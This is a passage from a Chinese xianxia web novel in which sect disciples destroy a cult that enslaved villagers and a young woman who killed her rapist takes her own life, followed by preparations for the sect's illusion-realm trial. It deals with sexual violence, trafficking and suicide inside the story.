一骂,崔瑶也被送了上来,起初她宁死不屈不肯下跪,还是苏晚清踢了她一脚。
“不不不,未得到教化之人就是这姑娘的表现。”齐先生指着崔瑶,说道。
崔瑶心里是一万分不如意,也不愿意隐藏自己的情绪,有事便喜欢直截了当地诉说:“我可去你的,少拿这些没用的东西吓唬我。”
“没用么?来人,把她扔进去。”
崔瑶一听慌了,害怕地望着苏晚清。
“跟她一个没遮拦的小姑娘计较什么?齐先生既说是我,那得是我先来。”苏晚清挡在崔瑶的前面,用眼神示意燕寒舟可以动手了。
“女子就是麻烦,只知道耍嘴皮子,一遇到事情就畏首畏尾。像那个女子,一看就是天生被人蹂躏的贱命,没皮没脸,贱种无用,就该当奴隶——”
齐先生话音未落,苏晚清便冲破桎梏,拔出插在青丝之上的簪子,用力地刺在了齐先生的心口。
“侮女子者,皆死。”
随即,她将借来的灵力汇聚于左掌,而后一掌击在了齐先生的胸膛,其人连连倒退,从高台上滚落而下。
只要齐先生一死,其他皆是散沙,这里守卫一见头目被擒住,二话不说便放下了武器。
“仙人早有预言,就让你们为我陪葬!”齐先生从地上爬起来,嘴里的鲜血留了一地,他自嘲地笑了笑,挑衅地看着他们几人,咬舌自尽而亡。
事情莫名其妙地进行着,苏晚清总觉得这背后总有一根隐藏的线正在推动着,从她一开始在客栈遇到的姑娘,到赎罪堂外的妇人,实在怪异。
“这老和尚也没这么厉害,虚张声势的手段倒是厉害。”崔瑶被绑着的手忽然解了,她夺过其中一个手下的剑,给了那几个人几脚,来到齐先生躺着的地方,探了探,生机已绝。
“啊,哈哈哈哈,我有罪,我杀人了,呜呜呜——”女子依旧是如此模样,纵使燕寒舟将从清风明月派带来的上好仙丹揉做粉尘,撒向置身于囹圄的百姓,阮玉秀依旧是如此状态。
苏晚清拉着阮玉秀的手,担心地唤着:“玉秀,究竟发生了何事?你怎么会在此?”
玉秀疑惑地歪着脑袋看着她,也不说话,眼中空洞无物,突不破眼前的魔障,下一刻脑海浮现出令其最不愿回想的回忆时,阮玉秀就像发了狂一般撞向一旁的石柱。
仿佛如此,便是最好的解脱。
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>幸亏是燕寒舟移了过来,任其撞在了他的身上,身子擦到尖锐的石头,隐隐渗出鲜血,但他选择一言不发,为防阮玉秀再有此情况,他想也不想便出手将其打晕。
底下的人恢复清醒,胆颤心寒,慌不择乱地挤在一起,若不加以阻止,定会有人员因踩踏而重伤,亦或是死亡。燕寒舟从高台而下,将那些人隔开,说道:“诸位听我一言,妖僧已死,我们须立刻离开。”
他话刚刚落下,便有道水声临近这里,无数灵虫从入口涌现过来,飞到苏晚清身前,嗡嗡说着些什么。
只见苏晚清神色一变,语气也带上了几分急迫,她小声地道:“灵虫说出口已被噬魂水侵袭,不出不出半炷香,我们便会被腐蚀,化水而亡。”
不知是谁习得个天生聪耳,竟将他们的对话听了去,在人群之中传得沸沸扬扬,引起了恐慌。
说话的人是苏晚清昨夜遇到的女子,此刻已是泪流满面,带着对死亡的恐惧,不停地哭泣,“那怎么办?我不要死在这里,我还是黄花大闺女。”
“你们是仙派,一定有办法救我们。”
“你们灵力高强,不会见死不救。”
“少侠,你想想办法啊……我不想死,我不想死。”
接连而起的是百姓的声音,绝大部分人求生欲极强,不停地爬向高处,极少部分对这世间已无眷恋,只希望能够死得痛快些。
牵丝引如今还在,苏晚清尚能使用燕寒舟共享的灵力,她借着石壁而上,从刚才来的路口而去。
顷刻过后,又速速退了出来,果然如灵虫所言那般。有人将噬魂水倒入其中,若海浪般翻滚而来,这里密闭且无畅通的空气流动,纵使不被水淹死,也得窒息而死。
最好的办法只有两种。
一是将噬魂水倒灌回去;二则是将这山炸出个洞。再不济便强撑,但终究非良法。
“师兄,你可有办法?”
燕寒舟沉默半晌,召唤灵剑,一剑挥向来时路,却并无异常,水蔓延的速度越来越快。
“你们都退后。”
他汇聚灵力于前,将对面封死的石壁炸开。光照进来的那一刻,所有人的眼前豁然开朗,不顾一切地涌出。
“等等,外界不知是否有人,你们先别……出去——啊!痛,松脚,松脚。”裴忆锦被人撞到在地,刚想站起来,自己的手不知又谁被狠狠地踩了一脚,她疼得直掉眼泪,刚走一个,又来一个。
崔瑶本想去拉裴忆锦,却不小心摔倒在地,整得一身狼狈。
眼看噬魂水就要蔓延而出,苏晚清决意为他们拖延一点时间,有了灵力,她便能召出瑶光镜,不等燕寒舟回答,她便跃了上去。
燕寒舟将人疏散,列成两队,陆陆续续从刚凿开的洞离开。秉着活命的机会,那些百姓没有多说一言,只想快点逃离这个是非之地。
崔瑶与裴忆锦则负责将阮玉秀安全带离。
百姓陆续抵达洞外,呼吸着这新鲜的空气,感受生命的不易。
14. 我愿以死抵罪
*
此方天地可见黑暗被驱逐殆尽,荒草丛生,盖过了这里所有出去的路,紧接着隐藏已久的人也缓缓从暗处走到洞前,等待着那些人出来,准备将其一网打尽。
燕寒舟紧随其后,看着那张熟悉妖冶的脸,不禁蹙紧了眉头,嫌弃的念头自心中发芽渐渐壮大,冲击他的脑海。
“柳宿眠,你又想做什么?”
女子抬手,身后之人便将他们团团围住,她的眼睛满是自信,一副志在必得的模样,“自然是杀了你们。清风明月派这么喜欢多管闲事,我就好好挫挫你们的锐气。”
柳宿眠往身后瞥了一眼,用眼神示意手下动手。
一场大战,一触即发。
“先带百姓离开。”燕寒舟设下法阵,将崔瑶、裴忆锦以及百姓都驱除而出,困住柳宿眠一干人等。
两人立即明白了燕寒舟的意思,带着百姓便往山下赶去,半点时间也不敢耽误。
柳宿眠笑道:“困得住我吗?燕小郎君。最多一炷香,他们又能逃到何处?倒不如现在就做个了结。”
他的灵力分了一半给苏晚清,此刻不知能抵挡几时,在阵法破除那刻,他先将余下弟子打倒在地,又将灵剑幻化为锁链捆住柳宿眠,想以此牵制住她。
“上次没让我得逞,这次我定要如愿以偿。”柳宿眠扯了一下锁链,借着那股力量迎了过来,重重倒在燕寒舟的怀中,修长白皙的手指触碰到燕寒舟的那刻立即被推了出去。
燕寒舟涨红了脸,更多的生气,眼底汇聚杀意。而在此时,苏晚清从中跳了出来,滚了一圈,起身于燕寒舟之旁。
眼见形势不妙,她感觉灵力恢复了一点,至少存有跑路的力气,她对燕寒舟道:“师兄,交给你,我先离开。”
她将牵丝引斩断,将灵力归还于燕寒舟,自己则找了一个安全的地方躲起来。
有了全部灵力,柳宿眠果然不是燕寒舟的对手,几下便被擒住。
柳宿眠实在不解,明明他们的灵力已被禁锢,却还能使出灵力。除非有人与燕寒舟等人暗度陈仓,她将一枚飞镖袭向燕寒舟,在他躲避之时御风离开。
燕寒舟没顾得上苏晚清,踏上灵剑便赶去与百姓汇合,只余苏晚清一人在原地逗留。
苏晚清:“……”让我一人自生自灭,师兄还真是明白何为大局为重。
她再观察一阵,若是半个时辰后还是无人出现她便出来。此刻的她与常人无异,须小心为上。
一个时辰过去,无人。
她刚踏出一步,便有一阵脚步声传来,那些人似在找些什么东西,找了许久,空手离开了此地。
她得赶紧回去。
值得庆幸的是所有百姓平安回归,且愿意出面举证,但阮玉秀的情况不容乐观,苏晚清等人此刻正在刘大婶家中。
灵力已经恢复如初,看来那位下毒之人只是禁锢他们的灵力,不想取了他们的性命。
她耐心地替其把脉,脉象并无异常之处,究竟是何处出现了问题。
百思不得其解。
崔瑶轻咳了一下,将藏了许久的丹药递给苏晚清,说道:“这个是师尊赠我的灵丹,你给那位姑娘试试。”
服用之后,阮玉秀果然有好转的迹象,面色逐渐恢复如常,她扫了众人一眼,最终定格在其余人身后的刘大婶,忽地低下头去。
刘大婶则默默离开了这间屋子,鬼鬼祟祟地去了别的地方,这个举动被阮长言所察觉,他悄悄跟了上去。
“玉秀,究竟发生了何事?”燕寒舟见人已无事,便带着崔瑶与裴忆锦离去,临走之时不忘嘱咐苏晚清别误了时辰。
阮玉秀勉强扯出一丝笑容,道:“我无事,我想去休息一会儿。阿凝,你先回山罢。”
“玉秀,你是如何被掳去了赎罪堂?”苏晚清坐在阮玉秀身旁,倒了杯温水递了过去,观察了一会儿,确定阮玉秀已然无恙,才开口询问道。
阮玉秀喝着水,小心翼翼地看了一眼刘大婶,摇了一下头,显然不想提及此事。
此刻,阮长言从大门迈进,一把冲进了玉秀的怀中,止不住地抽噎,她看在眼里,默默让出了位置。
阮玉秀道说自己想要休息一番,刘大婶瞪了几眼,碍于苏晚清在此,只能骂骂咧咧地回了房间。
随后,不管她如何询问,阮玉秀都不肯透露半分,她便只能就此作罢,安抚好阮玉秀之后,她决意去寻山妖再问个清楚。
*
到了荒山。
这里依旧森然凛凛,孤身入内,常闻鸦雀呜咽,也有似婴哭泣的声音袭来,充斥在山间之中。
她召出山妖,不等其逃离,先将其制服,再问道:“山妖,你可知张肇是被谁所杀?”
山妖摇头,见她转了一下,以为她要动手,连忙捂住自己的嘴巴,后退半步,赶紧惊慌地道:“他他他不是小妖杀的,小妖只知他是被石头砸死的,有人将他推下山崖,小妖这才吃了他。”
推下山崖……此处有疑,苏晚清剑指山妖,逐渐逼近,“你是如何得知他是被推下山崖?莫不是是你亲眼见过,还是你自己所为?说!”
山妖眼见瞒不过苏晚清,便招了供,“张肇是阮玉秀杀的,小妖只是帮她把人丢下了山崖,并不知何必与张三会来此寻人。”
她眼里闪过一丝意外,立即质问道:“玉秀为何要杀张肇?”心里也有别样的猜测。
“还能为何?”山妖一提起阮玉秀,内心便不自觉地柔软,语气也缓和了许多,但话锋一转,语中变成了憎恨,“张肇觊觎玉秀,将她骗到荒山,意图不轨。玉秀抵死不从才失手杀了他。”
“你既然知道为何不肯出手相助?”
山妖也想,可张肇知道阮玉秀与山妖熟识,佩戴了御妖辟邪之物,它根本近不了身,何况它来之时为时已晚。
木已成舟,只看到了阮玉秀无助地卷缩在草木丛,它便将张肇抛下了悬崖。
张肇死于阮玉秀手中,此为自保之法无疑,而玉秀却在赎罪堂里出现,那日在草木村浇花草的大爷正是张肇祖父,若她没有猜错,则是张家将阮玉秀送入了
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赎罪堂。
可刘大婶家中又为何会出现契据?除非……是张家与刘大婶一起合谋,将阮玉秀卖去了赎罪堂。
“女侠,小妖无罪吧?你可不能冤枉一个无辜的妖……”
苏晚清听后,心中突然没来由地心慌,她连忙赶下山去,走到刘大婶家中之时,阮长言泪流满面地看着她,扑到了她的怀中。
“契据,是他们将我姐姐卖去了赎罪堂,都是他们的错!”阮长言手里紧紧握着崭新的契据,与之前她在刘大婶房里无意间瞧见的契据不同。
“苏姐姐,我姐姐她,上吊了。为什么?我姐姐这辈子没有享过什么福,却要被他们逼死。我姐姐那晚真的回来看过我,当时我追到废宅,但不敢进去,原来那血是姐姐的!我为何不敢进去!”阮长言的眼睛哭得通红,不停地抽泣,他的泪水浸湿了她的衣衫,眼前油然浮现她与阮玉秀相识的记忆画面,耳旁是阮长言不甘的言语。
“苏姐姐,这是我姐姐留给你的信。我……我去给姐姐守灵……”他似乎泪已流尽,擦干了泪,佯装笑容,递给她一封信便转身入了灵堂。
信上浸了些水,轻轻一揉便碎了一些,苏晚清不敢相信阮长言所言,如此善良的姑娘怎么会死,怎么会死。她迟疑将信打开,信上写着:
阿凝,你曾告诉我,这是你的小名,我便如此称呼你了。这个是我托村里的秀才写的信。我未识文断字,也粗鄙不堪,文采着实有限,你多多担待。
相逢以来,我心中百感交集,想如你般肆意活着,可又放不下长言,也放不下伯母。
诸如太多言语,难以言明我此时感慨,如你所见,如你所闻,我是个十恶不赦的罪人。
张肇玷污了我,我本应该咽下这口气的,但我不知为何,恨意驱使我杀了他,我后悔,又很畅快。
我更痛恨自己为何没有给自己留条退路,入赎罪堂那几日,我对自己说没错。但大师说我有罪,就连与我心意相通的李淮颂公子也说我有罪,可能我真的有罪罢。那晚,我最后去见了长言,此生已无憾事。
我死以后,长言便成了无根之树,我想求求你,能不能代我照顾长言。从恢复意识的那一刻,我便已存着必死的心,我不想让此事成为伯母拿捏我的把柄,我也不想终日活在悔恨,就让我一命抵一命。
阿凝,不要为难那些村民。
阮玉秀敬上。
这个傻姑娘,一命抵一命的办法都用上了,滚烫的泪从她的眼里滑落而下,她起身前去灵堂,死不是归途,但是阮玉秀认为最好的归宿。
死,又何尝不是一种解脱。
官府也介入了此事,赎罪堂因百姓的检举而关闭,东家李淮颂羞于见人,竟在前几日便自尽于家中。诸多女子被解救而出,穷凶极恶之人得以被绳之以法。
而刘大婶与张家以及何必因贩卖女子之罪处以死刑,念其子女年幼,特缓三年执行。三年之后,其子女入惠安寺。
在阮玉秀死后,她遵其意愿将阮长言接去山阳的清水居,安顿好之后才前往清风明月山。
15. 若虚幻境试炼
在前往清风明月山之前,她忍不住来到阮玉秀安葬的地方,屹立的白幡就像孤苦无依的落叶一般默然飘摇。
根在地底,心却向往远方。满地纸钱遇风离去,若离弦之箭,永不追回。
金黄色的菊花是阮玉秀生前最爱之物,所以苏晚清采了很多,编成了各种各样的摆件放在其墓前,新鲜的果子与花摆在一处。
雨落在她们之间,却挡不住曾经的情谊。
她微微仰头,任由雨落在她的脸上。
忽有一把伞映入了她的眼帘,遮去苍穹的颜色,只余下伞间中的流云纹,无数雨点拍打伞骨的声音与这寂静的空间格格不入。
她想也不用想都知道此人是谁,来的真不是时候。
“李淮颂死得太过蹊跷,我怀疑是死于天魔宗之手。”燕寒舟直接进入主题,将手里的伞给它后自己又撑开了另外一把。
他顺着苏晚清的目光看去,略有敬意地朝逝者鞠了一躬,又继续说道:“尸体已被官府烧毁,不知死因。但李淮颂死有余辜——”
苏晚清没说话,他以为是自己多有冒昧,又连忙安慰道:“师妹,往事不可追,一蹶不振非你本色,须将目光放至远方。”
“师兄,你也太不会安慰人了。”
燕寒舟:“……”已尽力。
苏晚清这几日已经想清楚了许多,各人自有天命,选择亦有其中的规则。她刚才听了燕寒舟的分析,也有感而发,道:“天魔宗与赎罪堂有干系毋庸置疑,但我觉得此事有待商榷。”
燕寒舟问道:“此话怎讲?”
想了一下,苏晚清还是将那天晚上遇到陆竟渊的事告诉他,但他听完之后并未做出其他的反应,苏晚清忍不住问:“燕寒舟,你不信我?”
倒也不是,只是他与陆竟渊打过交道,此人秉性与慕怀景颇为相似,但相处之后能感觉比慕怀景精明三分。燕寒舟出言道:“并非不信,陆竟渊是天音门少掌门,兹事体大。此事等过试炼再做调查。”
“你可好了?若好便随我上山,阮长言如今已被你安置妥当,眼下你无事。”他看了一眼天色,天色尚早,但他有诸多事情待处理,他问道。
苏晚清点头,撑伞跟在他的身后,一前一后离开此处。
*
途径清平县时,她再次看到了陆竟渊的身影,急促中留下只言片语,忙追逐而去。
她追到酒楼,向店小二打听了一些。临近时门已敞开,彷佛里面的主人知道她会跟来一般。
从她的角度看去,房里的主人正在抬眼望着她,眉眼带笑,楚楚衣冠。身前排满了各种各样的茶具,男子悠闲地点茶,抬手举茶樽,示意她过来。
“晚清,我观你许久。你可是来寻我的?不论是或否,我都愿做你解惑之人,坐。”他的话是笃定,转而又温和地笑了笑,指了指对面的位置让她坐下。
“恭敬不如从命。”
苏晚清坐在对面,面前的茶香弥漫在整个房里,其中便有她无法忍受的气息,她别过身去咳了几声。
“晚清是想问我关于李淮颂的事吗?”陆竟渊从中挑选了一杯花茶递给她,细心地吹了吹,温柔体贴,看上去是个极好的人。
……如此开门见山,还真是不动声色。
杯中茶清香醇厚,回味甘甜,细细一品,觉感美妙,仿佛置身于百花盛开之地,花香飘逸过身侧,见漫山遍野之花,赏高山流水潺潺而落。
她醉翁之意不在酒,将杯里的茶一饮而尽,赞叹道:“岳阳所产的君山银针茶,品上之后,果然最佳。”
陆竟渊听后也附和:“都说知音难觅,却不曾想近在眼前。晚清也懂茶?”
苏晚清则是摇头,表明自己只是略懂一二,并不是像他如此沉迷于茶道。饮过茶,客气话也说得差不多了,她开始进入正题。
她拿出那日从陆竟渊身上取下来的玉佩,放到他的眼前,问道:“竟渊,那日你离去之后我不慎捡到了这枚玉佩,这上面刻李公子的名字,是你之物。”
陆竟渊摸了一下已空的腰,拾起玉佩才恍然想起是被苏晚清捡了去,他不在意地道:“这玉佩本是李淮颂的,我们早期以此为信物往来。但我发现他做了那些下作的勾当便已决定与他恩断义绝。我本来就是将这玉佩归还,没想到竟到了晚清的手中。”
她看不出他有几分是真,几分是假。
“既然李兄已死,这玉佩也没有留着的必要。”说着便要将玉佩摔碎,苏晚清连忙阻止,拿到了自己手中,劝道:“既是遗物,也是思念的容器,你当真如此憎恨?”
她看着陆竟渊眼神的变化。
陆竟渊眸色暗沉,没再打算摔玉佩,只是难过地道:“更应该恨的是那些无辜之人,我只怨自己竟眼睁睁地看李兄堕入深渊。”
“我知道,晚清。你来找我,就是怀疑是我杀了李兄。这玉佩,便交由你处置。”他饮下茶,好似饮酒一般,喉咙满是苦涩,竟流露出赧颜之色。
苏晚清:“……”很明显吗?
此人知道以退为进,她道:“我想你误会了,我只是物归原主罢了,并无他意。”
既然话不投机半句多,那她便先告退了,临走之际,陆竟渊叫住她。他从怀中拿出一支梅花簪子,递给苏晚清,并解释道:“若我没有记错,这应该是贵派裴师妹之物,劳晚清代为转交。”
“你从何处得来的?”饶是陆竟渊一副平易近人的做派,苏晚清还是觉得奇怪,忍不住多问。
陆竟渊也不隐瞒,答道:“昨日崔师妹与裴师妹路过此地,我请她们小酌了几杯,裴师妹的簪子落在了我这里,今早本欲归还,却听闻她们已早早回山。”
苏晚清会意,不再询问。拿过簪子后便头也不回地离开了。在她下楼的瞬间,陆竟渊的身后忽然出现了一位男子,虎视眈眈地盯着苏晚清离去的背影,道:“就这么让她走了?”
陆竟渊重新泡了杯茶,拿在鼻间,嗅嗅杯中散发出的清香,从容不迫地道:“放长线,才能钓大鱼。你一个粗鄙之人不懂,正常。”
苏晚清,会是一个有用的帮手。
……在陆竟渊这里得不出有用的信息,她只能先回清风明月山。
*
回山途中,苏晚清一直在想,问题究竟出现在了何处,她是如何中的招?
想着想着,眼前忽然一黑,她撞到了山门前的石狮子,她吃痛地揉了揉鼻子,立即观察四周,确认无人后才露出痛苦的表情。
“哈哈哈哈。苏晚清你也有今天,想什么这么出神?”崔瑶坐在屋顶,将苏晚清所有的举动尽收于眼底,是忍不住捧腹大笑,笑得惊天地泣鬼神。
苏晚清:“……”
顷刻,她调整好表情,那些有损形象的表情烟消云散,而后平静如水地道:“师妹是来接我的吗?我就知道,师妹一向嘴硬心软。”
“切,自作多情。我是接大师兄的。”崔瑶毫不留情地道,闻见燕寒舟的声音时,那身影闪如雷电,瞬间就从苏晚清的身旁错开。
她眨了眨眼睛,无奈地笑了笑,走进门,还不忘对着内外的两人,与其说是两人,倒不如说是对崔瑶的,她说道:“戒律堂今日查房,若是发现房中有违禁之物,就严惩不贷,也不知哪个弟子会如此倒霉,我……”
话语未尽,崔瑶一个箭步离开了此地,期间还温柔地对着燕寒舟道:“师兄,我先去处理要事,我有空就寻你一起练剑!”
真是有区别。
燕寒舟走到她旁边,见她半退一步,满脸疑惑地盯着她,正等她开口解释。
“崔师妹喜欢你,你知道吗?”不仅如此,她觉得燕寒舟对她好得太过分,难道也是因为之前她舍身相救之事?
燕寒舟面无表情,只是淡淡地道:“喜欢又如何?我既不喜欢她,也不喜欢你。”纵使是心悦,他也不是被动之人。
他的话令她恍然大悟,燕寒舟主修无情,是不会对任何人心生爱慕,说是不会,但也可道为平等地对待任何人。
苏晚清道:“师兄,你还真是直截了当,一语点醒梦中人。”她刚想离开,燕寒舟就拉着她一起去了青龙峰商议此次试炼的诸事
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。
“你明白就好。师尊已闭关,清风明月峰由你我出席。”不容置喙的语气,等她反应过来燕寒舟早已登上青龙峰。
此次试炼不似以往,本次由各峰弟子设置。各峰长老一切遵照弟子的想法行事,提供法宝,做弟子的后备之军。
清风明月派以往都是设下三关,为测试资质、勇气与能力所延伸出的关卡,但这一次燕寒舟结合各峰弟子给出的建议,拟出一个结合了此三个主题的关卡——若虚幻境。
设下若虚幻境,分为五方,对应东南西北中,以五行灵剑构建出五个试炼之地。
青龙峰对应东方,为木;朱雀峰对应南,应为火象;白虎峰对应西方,应为金;玄武峰对应北方,为水象;最后为清风明月峰立于中央,以土象为主,即为阵眼。
参与试炼者须在入场之前选择其中一方,五方相通,只可寻得一把灵剑即可通过。
听上去尤其简单,但每选一处,则是对自己的挑战。
基于此处,清风明月刚好由五峰构成,燕寒舟、苏晚清则负责中方。其余四方则由四峰遴选出的弟子守护该方。由于关内人手不够,故而由上次测试未通过的弟子代为补上。
慕怀景与司马如意作为朱雀峰鹤羽长老门下入选弟子,正与其他弟子商讨如何做好此等任务。
如此一来,弟子便参与了试炼的设计,再不能在背地里臭骂这些长老以往设置的关卡简单与敷衍。
甚好,甚好。
无人有异议,就此达成共识。
申时三刻,山中的钟声准时敲响,在座的弟子早已按捺不住,饥饿的肚子急需填满,原本的兴致勃勃已转由饥肠辘辘代替。
燕寒舟心中了然,在众人期待的目光中道:“今日所说,请诸位铭记于心。三日后将灵剑制成交予我检查,若可便我再融入若虚幻境。现已无事,各位请自便。”
“走走走,我饿得不是一星半点,望梅止渴也救不了我,哎呀你快点。跟上来。”
所有弟子几乎是冲出兰室,朝弟子膳堂蜂拥而上,期间有几位弟子横冲直撞,差点撞到外出长老,含糊道了歉就拔腿就跑。
几位年长的长老忍不住怒斥这些弟子“这群人简直就是饿死鬼投胎,将门规抛之脑后,实在有伤风化”。
说归说,也默许了这群弟子的行为。
站在一处的四个人无奈地摇了摇头。
司马如意就在他们的身侧,眼见苏晚清要离开,连忙唤她道:“师妹重归山门,我很是欣慰。刚才燕师兄所言我还有不懂之处,可否为我指点一二?”
对于司马如意的提议,苏晚清毫不犹豫地答应,并与其一同前往弟子膳堂,只留下燕寒舟与慕怀景。
她们走得极慢,相互慰问对方近况,司马如意解决好盛京之事便被召回了山门,时至今日,已过许久。
盛好饭菜后,她们面对而坐,司马如意夹了一块肉给她,随即便与她说话:“晚清,我听闻你与燕师兄一起捣毁了赎罪堂,可否给我讲讲?我每日在山中练剑,实在无趣。”
“除了我与师兄,还有各峰弟子的协助,我相信师姐应当听说了,我再与师姐说一遍罢。”苏晚清舍去一些容易引起歧义的地方,再作解释,一切来龙去脉,都是从村民上山禀告开始。
司马如意听得很认真,不停地夸赞,眼里流露出几分敬佩之色,道:“听完你说的话,我怀疑李淮颂之死定与温衡有关。”
苏晚清好奇心一起,问道:“说来听听?”
“猜的。天魔宗作恶多端,你们又遇到了左护法,温衡作为少主定是主谋。”司马如意分析得头头是道,确实不排除有这个可能,但苏晚清的猜想仍在陆竟渊的身上。
餍饱之后,两人闲谈了一会儿便各自回去。苏晚清还是和以前一样,与崔瑶同住在一个房间。
走到房门,她顿了顿,竟是困意全无。她拿出短哨,放在嘴边吹响,不一会儿,一只通体雪白的信鸽循声而来,她将写好的信笺绑在它的腿上,任其替她送信。
远方之人,当是无虞。
16. 和我一起坠入深渊
一连两日,苏晚清都与燕寒舟商讨如何做好中方试炼,藏经阁一待就是两个时辰,经书都快要被翻烂了。
她放下手里的书籍,瞥了一眼聚精会神的燕寒舟,便自顾踏上了二楼的台阶。
各种书籍汗牛充栋,类型比比皆是,从神灵鬼怪到坊间传闻。
她的目光悠然落在一本陈旧的古籍上,她微微施法,将其取了下来。紧接着,负责记录弟子查阅书籍的登记册缓缓从天而降,笔悬浮于册旁。
登记之后,她回到原处,打开书仔细阅读。
书名为《山海志怪·神谈》,它的封面看上去十分陈旧,甚至有了很多的褶皱,更多的是因年久而腐烂了许多。她拿出时落了一层灰下来,共有十三卷,她的目光定格于最后一卷——山海密谈。
心中有了些思路,她观了一眼四周,隔间似有弟子在沉静看书,也不好打扰。于是苏晚清戳了一下燕寒舟,将他唤了出来,再道:“师兄,我有一言。”
燕寒舟静静听着,她将翻好的页面递给燕寒舟,随后便解释道:“《山海志怪·神谈》最后一卷提到黄龙本为应龙化身,又可牵连至轩辕古君治水,若是以龙纹剑作为清风明月峰试炼主剑,也可彰显我峰之威。”
“你的想法与我的有异曲同工之处。”燕寒舟眼里的惊喜稍纵即逝,他道。
但瞧着燕寒舟的神情,貌似还想更进一步,苏晚清想了想,将二人的想法融合后再道:“不如这样,便以此书为蓝本,设下几处迷雾。”
太难也不可,毕竟那些前来参加试炼的弟子只是普通的凡人,抵御不了太强的攻击。他们商榷过后,采纳了苏晚清的提议。
若有仙缘,便能拜入其门下。
各峰弟子前来交纳成品之时,崔瑶与苏晚清皆在现场,都是采取与清风明月峰相同的幻境。
届时除五方守境弟子之外,其余弟子须选出部分入幻境作为特定的引路人,关键之际做出提示。
后续则都是燕寒舟来负责,苏晚清这几日当值,得下山巡查,看有无百姓求助。
*
下山途中,她遇到了正在上山的裴忆锦,不由得心生疑惑——青龙峰选了她与孟世行,迟迟未见她,原来是下山去了。
苏晚清忽然想起自己有件事未做,这几日忙着绘制阵法图一事给耽搁了,她叫住裴忆锦,将前几日陆竟渊给的簪子递过去,“裴师妹,下山竟也不唤我?只是陆公子交付予我,让我代为转交给你的东西。”
裴忆锦驻足停留,看了她半晌,脸上的笑容逐渐消失,将簪子接了过来,道着谢,准备离开。
“师妹是下山见了陆公子?”苏晚清的视线落在裴忆锦的身上,只见其红光满面,眼底掩藏不住的笑意,倒若陷入爱河的女子。
裴忆锦连忙摇头,不解释还好,一解释便越描越黑:“师姐不要误会,我奉孟师兄的令,下山寻龙血树,才遇到了陆师兄。我不是去见他的,师姐——”
“好了,我信你。”苏晚清瞧着这急得要哭的女子,也不好再开玩笑,松口让其离开了此地。
山下并无任何异样,也无百姓前来求助,但苏晚清还是待到了晚上,等到换班之人才肯离开。
*
回来之时,已是戌时。膳堂还剩下些饭菜,她走在一群弟子的后面,本想径直越过他们,但又听到一些关于清风明月峰谈资的话,忍不住好奇。于是她放慢脚步,细细听着。
那些人的话油然落入她的耳中。
“凌霄师叔让燕寒舟来主持此次试炼,不会是有禅让之意吧?”
“燕寒舟不过是占了掌门嫡亲弟子的名头,实力不详,哪来的脸当此重任?”
貌似还有议论她的。
“还有那苏晚清,走了三年,像个没事人回来了,我觉得凌霄就是偏心,有意将清风明月峰传给他二人。毕竟,谁让整个清风明月峰只有三个弟子,我现在倒是有点心疼崔师妹了,如此被他们排挤在外。”他们谈得很是忘我,连对凌霄的敬意也失了几分,也丝毫未注意身后的苏晚清。
苏晚清扯着嗓子,佯装咳了一下,混入他们之中道:“是吗?我也觉得他们名不副其实,不如我们明日就去请示长老,告发他们?”
“不行,长老只会告诫我们,勿嫉妒,易入魔障。”
一人当即否决了苏晚清的提议,本想再与她深入讨论,一转过头不想就与她对视,尴尬地笑了笑,道,“苏师姐,你何时来的?”
苏晚清也不生气,只是一副平易近人地道:“一开始就来了。原来我在你们心中如此丰富,师姐受教了。”
说罢,她又朝那几人笑了一下,倒是将那些人触了一下,不知是笑里藏刀还是没心没肺的笑。
她打好饭,寻好地方坐好。才过半刻,对面便坐下来一人,夹走了她所有的肉,一脸挑衅地看着她,随后吃光,对着苏晚清道:
“我觉得他们说的没错,师尊就是偏袒你们两个,宁愿让你回来,也不把这么重要的事交给我。”
所以呢?她的肉!
苏晚清无奈地道:“师妹,此话你说出来时是否笑了?谁叫你总是三天打鱼两天晒网。”
从入山以来,崔瑶便与苏晚清、燕寒舟一起修行,寒冬烈日下,崔瑶总是寻理由小憩,一休息便是半日。人影也不知在何处,师尊也不责罚,只是让她自己寻个时间练习。
时间长了,便养成了这种半途而废的修行性子。
苏晚清无奈地道:“师妹有没有听过一句话?种何因得何果。”
“行行行,都是你有理。”崔瑶瞪了她一眼,快速刨完饭,一走了之。走时也不忘给苏晚清几个眼神,轻哼离开膳堂。
这个崔师妹,自小便喜欢与她打闹,心肠不算坏,就是脾气差了点。不过她苏晚清最喜欢与难对付之人打交道,这些仅仅是微不足道的小事。
*
很快便到了招新之日,场地设在山麓,各峰弟子按照选定的人数先入幻境,化为幻境里的角色,褪去之前的弟子心性,融于幻境之中。
五方试炼,十位弟子。
他们一齐向长老汇报若虚幻境的诸事,确认绝无纰漏后方可拿到法宝,不得有任何差错。这几日的幻境,长老出的力最多,不管是搭建弟子所需的场地,还是关卡的设置,都得上心。
两位守阵者得两把主剑,其余参与入试的弟子所得皆为副剑。
“寒舟,晚清,你们两个作为主位,须得守好阵地,不得擅离职守。”青龙峰的拢月长老语重心长地道,虽说这些挑选出来的弟子十分出色,但百密终有一疏,须得有备无患。
自她回来以后,拢月瞧着她是越发开心,毕竟这样好的苗子,不该没有去处。苏晚清双手接过主剑,谢过拢月长老:“晚清谨记。”
灵剑泛着黄色之气,在日光的照耀下熠熠生辉,她作势一挥,若隐若现的的盘踞黄龙自其中低吼而出,迎向苍穹。
几人拿上灵剑,迅速结印,与剑融合,化作几道剑气涌向山下的摆好的若虚幻境。
山下前来参加的试炼者聚在山脚,自觉地排着长队,等候物品的发放。为护其安全,清风明月派会为每个人准备三道灵符,前两道符可自由穿梭任何一地,若三道符用尽,可视为弃权。
“唉,那是何物?朱雀、青龙、玄武和白虎!”
云雾缭绕之下,日光粲然,剑气盎然,若见五方四方神兽羽化而来,翩然生辉。人群里最先瞧见的人发出赞叹,亲眼见其遁入幻境。
漩涡之门,掀起微弱的风,袭向每一处地方。
除拢月长老与鹤羽长老负责观幻境动向外,其余长老皆在幻境之外等候,以便出现意外时境内弟子孤立无援。
迷雾拢聚,寒沙漫天,飞舞在其间。燕寒舟坐在阵眼的位置,一剑刺入启动幻境的齿轮,微微一转,机关便开。
苏晚清则负责在这个空间巡视,若有心怀不轨之人捣乱,即刻踢出。
“师兄,你觉得会有几人寻得灵剑?”苏晚清稍稍挥手,眼前便涌现出迷沙幻境中入试者的行踪,皆是一览无余。
燕寒舟神色没有变化,淡定地道:“能者才配入我清风明月。”说着完,便将四方幻
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境的空镜揭开,目光所向,格外认真。
也罢,燕寒舟不是个会聊天的人,苏晚清随意说了几句,便安静地观察他们的走向。
